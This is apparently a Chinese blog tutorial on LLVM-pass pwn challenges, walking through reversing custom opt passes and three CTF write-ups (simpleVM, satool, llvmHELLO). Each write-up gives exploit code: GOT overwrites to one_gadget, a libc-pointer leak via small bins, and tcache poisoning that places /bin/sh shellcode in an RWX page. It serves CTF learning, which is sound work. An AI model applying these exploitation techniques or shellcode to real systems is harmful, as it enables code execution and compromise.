PWN学习之LLVM入门

一、基本流程

①找到runOnFunction函数时如何重写的,一般来说runOnFunction都会在函数表最下面,找PASS注册的名称,一般会在README文件中给出,若是没有给出,可通过对__cxa_atexit函数"交叉引用"来定位:

②通过逆向,找到函数名及参数,编写基本exp

③找到漏洞,写利用exp.c,其中的pwn的目标是opt文件,查看保护和找gadget都在opt中找

④生成.ll文件

⑤将.ll文件输入到LLVM中

二、命令

用下面的命令可以生成.ll文件准备输入到LLVM中:

clang -emit-llvm -S exp.c -o exp.ll

最后用下面的命令将.ll文件输入到LLVM中,如果想要得到结果可以在后面添加> [文件名]来获取:

opt -load ./LLVMFirst.so -hello ./exp.ll

三、例题

1.202Redhat simpleVM

①重写函数

图片

{width="9.38888888888889in" height="3.2860345581802273in"}

②逆向,编写基本exp

图片

{width="5.240740376202974in" height="3.8201279527559056in"}

函数名为o0o0o0o0则继续执行sub_6AC0

图片

{width="8.166666666666666in" height="2.8091076115485563in"}

循环遍历每一个基本块

图片

{width="10.851852580927384in" height="3.1467410323709535in"}

这里也是一个循环遍历,其中指令码需要为55才能进入下一步操作,否则就会直接跳过这个指令去处理下一条指令,即函数o0o0o0o0中的代码都要是函数调用。

getCalledFunction获取函数本身,然后获取函数名赋值给s1

图片

{width="9.222222222222221in" height="3.006159230096238in"}

getNumOperands返回一条指令中的变量个数,包括函数名和参数,pop为2,即参数数量为1

这里可以看到pop函数的参数是1,2,分别对应两个寄存器,pop操作就是弹栈操作,并且栈是从低到高生长

图片

{width="7.0185192475940505in" height="3.0176181102362203in"}

push的参数也是一个,1或2,模拟压栈操作

图片

{width="6.759258530183727in" height="3.3184383202099736in"}

store参数1个,1或2,将reg1存的地址指向的地方赋值为reg2中的值

图片

{width="7.037036307961505in" height="2.7582327209098865in"}

load参数1个,1或2,将reg2赋值为reg1中的地址指向的值

图片

{width="6.574074803149606in" height="3.1619542869641295in"}

add参数2个,第一个是1或2,第2个是加的数,使寄存器中的值加上某一个值

图片

{width="6.8148140857392825in" height="3.1618372703412074in"}

min参数2个,第一个是1或2,第2个是减的数,使寄存器中的值减去某一个值

得到基本exp

void o0o0o0o0();
void pop(int reg){};
void push(int reg){};
void store(int reg){};
void load(int reg){};
void add(int reg,int num){};
void min(int reg,int num){};void o0o0o0o0(){};

③找到漏洞,写攻击exp

store(1),将reg1存的地址指向的地方赋值为reg2中的值,这里就有任意地址写。

load(1),将reg2赋值为reg1中的地址指向的值,可以把libc写进去。

add和min可以对reg里的值进行加减,相当于任意修改

查看一下opt的保护

图片

{width="3.4444444444444446in" height="0.7943132108486439in"}

没有开pie

所以,攻击思路如下

reg初始值都为0,首先将reg1通过add函数改为free函数的got表,再通过load函数将reg1中的地址指向的值赋值给reg2,再通过add或者min函数将reg2中的地址修改为one_gadget的地址,再通过store函数将reg2的值赋值给reg1存的地址指向的地方即free的got表

add(1,free.got)
load(1)
add(2,ogg - free)
store(1)

gdb调试

gdb opt-8
set args -load ./VMPass.so -VMPass ./exp.ll
b main
b *0x4bb7e3
b *(0x7f11c1a00000+0x73EE)
tele 0x7f11c1a00000+0x20E580

图片

{width="8.38888888888889in" height="0.6374890638670166in"}

调试到这里,.so已经加载好了

下断点调试即可

调试可以看到成功修改free@got为one_gadget,但是三个都打不通,libc不同

2.CISCN2021 satool

图片

{width="7.240741469816273in" height="2.7945319335083116in"}

PASS注册名称为SAPass

图片

{width="4.055555555555555in" height="2.352965879265092in"}

函数名B4ckDo0r

图片

{width="5.722222222222222in" height="0.760997375328084in"}

图片

{width="9.092591863517061in" height="0.4909842519685039in"}

图片

{width="6.740741469816273in" height="1.7860837707786528in"}

save函数,两个参数,char类型,申请一个0x20的堆块,把两个参数分别放入堆块中

图片

{width="7.5185192475940505in" height="3.3001815398075243in"}

stealkey函数,没有参数,把堆块中的第一个8字节赋值给byte_204100

图片

{width="8.129630358705162in" height="2.8776049868766402in"}

图片

{width="7.444444444444445in" height="1.7196161417322835in"}

fakekey函数,1个参数,与byte_204100相加并赋值给chunk的前8字节

图片

{width="12.79629593175853in" height="3.0068897637795278in"}

run函数,没有参数,将chunk的前八字节作为函数指针调动

基本exp

void save(char *a,char *b);
void stealkey();
void fakekey(int a);
void run();
void B4ckDo0r(){}

这里可以看到,save会malloc一个0x20大小的chunk,调试发现,save一次后,tcache中没有符合要求的chunk了,再save一次,就会变成small bins,这时候chunk中会有残留的libc指针,再通过stealkey把指针赋值给byte_204100,再用fakekey对指针进行偏移的加减,改为one_gadget,执行run函数,即可

完整exp

void save(char *a,char *b);
void stealkey();
void fakekey(int a);
void run();
void B4ckDo0r(){
save("aaaa","bbbb");
save("","b");
stealkey();
fakekey(-0x1090f2);
run();
}

3.CISCN2023 llvmHELLO

图片

{width="6.203702974628172in" height="1.749238845144357in"}

PASS注册名称为Hello

图片

{width="7.537036307961505in" height="4.355859580052494in"}

Add函数,一个参数,申请一个堆块

图片

{width="9.740741469816273in" height="3.4770800524934384in"}

Del函数,一个参数,free一个堆块,没有uaf

图片

{width="10.277777777777779in" height="4.871666666666667in"}

edit(idx,data_idx,data),edit函数,3个参数,向第idx个chunk的第data_idx个四字节写入4字节

图片

{width="7.1481474190726155in" height="0.9220734908136483in"}

Alloc函数,没有参数,将0x10000设置为可读可写可执行

图片

{width="9.462963692038494in" height="4.361955380577428in"}

EditAlloc函数,2个参数,EditAlloc(idx,idx_alloc),把第idx个chunk的前4个字节赋值给0x10000+idx_alloc处

基本exp

void Add(int size);
void Del(int idx);
void Edit(int idx,int data_idx,int data);
void Alloc();
void EditAlloc(int idx,int addr);
void hello(){}

在edit中,存在堆溢出,可利用edit修改tcache bin中chunk的fd,进行tcache bin attack,执行一次Alloc,申请0x10000开始的0x1000的空间,写入shellcode,由于没有开启PIE,用tcache bin attack改free的got表为0x10000,然后执行Del函数,执行shellcode拿到shell

最终exp

void Add(int size);
void Del(int idx);
void Edit(int idx,int data_idx,int data);
void Alloc();
void EditAlloc(int idx,int addr);void hello(){
Add(0xa0);Add(0x78); //0x8203
Edit(1,0,0xdeadbeef); // 0x8602
Add(0x78);
Edit(2,0,0xdeadbeef); // 0x8602
Add(0x78);
Edit(3,0,0xdeadbeef); // 0x8602
Del(1);
Del(3); //0x83e4
Edit(2,32,0x78b108); //Alloc();//0x8690
Edit(0,0,0x56f63148); // 0x8602
EditAlloc(0,0);
Edit(0,0,0x622fbf48); // 0x8602
EditAlloc(0,4);
Edit(0,0,0x2f2f6e69); // 0x8602
EditAlloc(0,8);
Edit(0,0,0x54576873); // 0x8602
EditAlloc(0,12);
Edit(0,0,0x583b6a5f); // 0x8602
EditAlloc(0,16);
Edit(0,0,0x00050f99); // 0x8602
EditAlloc(0,20);Add(0x78);
Add(0x78);
Edit(3,0,0x10000);
Edit(3,1,0);
Del(1);
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/210146.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

全球与中国汽车电力电子市场:增长趋势、竞争格局与前景展望

目前,世界各国都致力于转向更环保、更永续的传统交通替代方案。 电动车满足所有要求,因为它们具有零废气排放、改善空气品质、减少温室气体排放并创造更清洁、更健康的环境。此外,电动车的运作成本比传统内燃机驱动的汽车低,因为…

vue2+electron桌面端一体机应用

vue2+electron项目 前言:公司有一个项目需要用Vue转成exe,首先我使用vue-cli脚手架搭建vue2项目,然后安装electron 安装electron 这一步骤可以省略,安装electron-builder时会自动安装electron npm i electron 安装electron-builder vue add electron-builder 项目中多出…

Mybatis 操作续集(连着上文一起看)

"查"操作(企业开发中尽量不使用*,需要哪些字段就写哪些字段,都需要就全写上) Mybatis 会自动地根据数据库的字段名和Java对象的属性名进行映射,如果名称一样就进行赋值 但是那些名称不一样的,我们想要拿到,该怎么拿呢? 一开始数据库字段名和Java对象属性名如下图…

使用UART和USART在STM32上进行双向通信

在本文中,我们将深入了解如何在STM32上使用UART(通用异步收发传输器)和USART(通用同步异步收发传输器)实现双向通信。UART和USART是常见的串口通信协议,通常用于与其他设备进行数据传输。我们将重点介绍如何…

C语言中指针的进阶概念及应用

概念 指针是C语言编程中最强大的特性之一。除了基础的指针概念外,理解指针数组、指向指针的指针(双重指针)、指针与多维数组的关系以及函数指针等进阶概念,对于深入理解C语言至关重要。 指针的概念: 指针就是个变量…

科技云报道:AI+PaaS,中国云计算市场迎来新“变量”?

科技云报道原创。 没有小的市场,只有还没有被发现的大生意。 随着企业数字化转型的逐级深入,市场需求进一步向PaaS和SaaS层进发,使之成为公有云服务市场增长的主要动力。 根据IDC最新发布的报告显示,2022-2027五年间中国公有云…

几何对象的凸点集

// 引入VTK并初始化 #include "vtkAutoInit.h" VTK_MODULE_INIT(vtkRenderingOpenGL2); VTK_MODULE_INIT(vtkInteractionStyle);#include <vtkActor.h> #include <vtkCamera.h> #include <vtkConvexPointSet.h> #include <vtkDataSetMapper.h&g…

学习使用三个命令实现在腾讯云服务器TencentOS Server 3.1或者CentOS 8上安装ffmpeg

学习使用三个命令实现在腾讯云服务器TencentOS Server 3.1或者CentOS 8上安装ffmpeg Error: Unable to find a match: ffmpeg添加RPMfusion仓库安装SDL安装ffmpeg执行命令测试 Error: Unable to find a match: ffmpeg 添加RPMfusion仓库 yum install https://download1.rpmfus…

计算机辅助药物设计AIDD-小分子-蛋白质|分子生成|蛋白质配体相互作用预测

文章目录 计算机辅助药物设计AIDD【小分子专题】AIDD概述及药物综合数据库学习机器学习辅助药物设计图神经网络辅助药物设计自然语言处理辅助药物设计药物设计与分子生成 计算机辅助药物设计【蛋白质专题】蛋白质数据结构激酶-Kinase相似性学习基于序列的蛋白质属性预测基于结构…

数据结构算法-插入排序算法

引言 玩纸牌 的时候。往往 需要将牌从乱序排列变成有序排列 这就是插入排序 插入排序算法思想 先看图 首先第一个元素 我默认已有序 那我们从第二个元素开始&#xff0c;依次插入到前面已有序的部分中。具体来说&#xff0c;我们将第二个元素与第一个元素比较&#xff0c;…

使用正则表达式时-可能会导致性能下降的情况

目录 前言 正则表达式引擎 NFA自动机的回溯 解决方案 前言 正则表达式是一个用正则符号写出的公式&#xff0c;程序对这个公式进行语法分析&#xff0c;建立一个语法分析树&#xff0c;再根据这个分析树结合正则表达式的引擎生成执行程序(这个执行程序我们把它称作状态机&a…

C语言--每日选择题--Day35

第一题 1. 有如下定义&#xff1a;(x y) % 2 (int) a / (int) b 的值是&#xff08;&#xff09; int x 3; int y 2;float a 2.5; float b 3.5; A&#xff1a;0 B&#xff1a;2 C&#xff1a;1.5 D&#xff1a;1 答案及解析 D 本题是考查强制类型转换和操作符优先级 操作…

idea连接mysql详细讲解

IDEA连接mysql又报错&#xff01;Server returns invalid timezone. Go to Advanced tab and set serverTimezone prope 前进的道路充满荆棘。 错误界面 IDEA连接mysql&#xff0c;地址&#xff0c;用户名&#xff0c;密码&#xff0c;数据库名&#xff0c;全都配置好了&…

常见的几种计算机编码格式

前言&#xff1a; 计算机编码是指将字符、数字和符号等信息转换为计算机可识别的二进制数的过程&#xff0c;正因如此&#xff0c;计算机才能识别中英文等各类字符。计算机中有多种编码格式用于表示和存储文本、字符和数据&#xff0c;实际走到最后都是二进制&#xff0c;本质一…

Android Edittext进阶版(Textfieids)

一、Text fieids 允许用户在 UI 中输入文本&#xff0c;TextInputLayout TextInputEditText。 在 Text fieids 没出来(我不知道)前&#xff0c;想实现这个功能就需要自己自定义控件来实现这个功能。 几年前做个上面这种样式(filled 填充型)。需要多个控件组合 动画才能实现&a…

【单片机】MCU内存管理

keil中查看内存使用情况 Code-Data,RO-Data,RW-Data,ZI-Data的含义 Code-Data&#xff1a;代码占用的flash大小 RO-Data&#xff1a;[read-only data],只读常量大小&#xff08;const和#define&#xff09; RW-Data&#xff1a;[read write data],初始化了的变量大小 ZI-Da…

uniapp如何与原生应用进行混合开发?

目录 前言 1.集成Uniapp 2.与原生应用进行通信 3.实现原生功能 4.使用原生UI组件 结论: 前言 随着移动应用市场的不断发展&#xff0c;使用原生开发的应用已经不能满足用户的需求&#xff0c;而混合开发成为了越来越流行的选择。其中&#xff0c;Uniapp作为一种跨平台的开…

PyQt6 QToolButton工具按钮控件

​锋哥原创的PyQt6视频教程&#xff1a; 2024版 PyQt6 Python桌面开发 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili2024版 PyQt6 Python桌面开发 视频教程(无废话版) 玩命更新中~共计32条视频&#xff0c;包括&#xff1a;2024版 PyQt6 Python桌面开发 视频教程(无废话…

WPF halcon 机器视觉

1 鼹鼠的故事第14集 鼹鼠与智能房 鼹鼠无意中坐进了一辆小汽车&#xff0c;小汽车开进了一所智能住宅。鼹鼠看到房主在智能房里&#xff0c;享受着现代化的服务。趁着主人看电视的时候&#xff0c;鼹鼠也享用了一顿丰盛的智能晚餐。 小编大胆的畅想&#xff0c;这些食物 前一秒…

创建conan包-Understanding Packaging

创建conan包-Understanding Packaging 1 Understanding Packaging1.1 Creating and Testing Packages Manually1.2 Package Creation Process 本文是基于对conan官方文档Understanding Packaging翻译而来&#xff0c; 更详细的信息可以去查阅conan官方文档。 1 Understanding …